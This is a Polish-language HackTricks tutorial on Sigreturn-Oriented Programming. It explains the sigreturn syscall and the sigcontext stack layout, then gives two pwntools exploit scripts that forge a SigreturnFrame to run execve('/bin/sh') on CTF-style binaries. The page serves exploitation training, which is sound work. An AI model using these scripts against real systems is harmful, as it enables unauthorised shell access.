SROP - Sigreturn-Oriented Programming

Support HackTricks

Basic Information

Sigreturn to specjalny syscall, który jest głównie używany do sprzątania po zakończeniu działania obsługi sygnałów. Sygnały to przerwania wysyłane do programu przez system operacyjny, często w celu wskazania, że wystąpiła jakaś wyjątkowa sytuacja. Gdy program otrzymuje sygnał, tymczasowo wstrzymuje swoją bieżącą pracę, aby obsłużyć sygnał za pomocą handlera sygnałów, specjalnej funkcji zaprojektowanej do radzenia sobie z sygnałami.

Po zakończeniu działania handlera sygnałów program musi wznowić swój poprzedni stan, jakby nic się nie stało. Tutaj wchodzi w grę sigreturn. Pomaga programowi powrócić z handlera sygnałów i przywraca stan programu, sprzątając ramkę stosu (sekcję pamięci, która przechowuje wywołania funkcji i zmienne lokalne), która była używana przez handlera sygnałów.

Interesującą częścią jest to, jak sigreturn przywraca stan programu: robi to, przechowując wszystkie wartości rejestrów CPU na stosie. Gdy sygnał nie jest już zablokowany, sigreturn zdejmuje te wartości ze stosu, efektywnie resetując rejestry CPU do ich stanu sprzed obsługi sygnału. Obejmuje to rejestr wskaźnika stosu (RSP), który wskazuje na aktualny szczyt stosu.

Wywołując syscall sigreturn z łańcucha ROP i dodając wartości rejestrów, które chcielibyśmy załadować na stos, możliwe jest kontrolowanie wszystkich wartości rejestrów, a tym samym wywołanie na przykład syscall execve z /bin/sh.

Zauważ, że byłoby to rodzaj Ret2syscall, który znacznie ułatwia kontrolowanie parametrów do wywołania innych Ret2syscalls:

Ret2syscall

Jeśli jesteś ciekawy, to jest struktura sigcontext przechowywana na stosie, aby później odzyskać wartości (diagram z tutaj):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Dla lepszego wyjaśnienia sprawdź również:

Przykład

Możesz znaleźć przykład tutaj, gdzie wywołanie signeturn jest konstruowane za pomocą ROP (umieszczając w rxa wartość 0xf), chociaż to jest ostateczny exploit stamtąd:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Sprawdź również eksploit stąd, gdzie binarka już wywoływała sigreturn, więc nie ma potrzeby budować tego z ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Inne przykłady i odniesienia

Wsparcie dla HackTricks

Last updated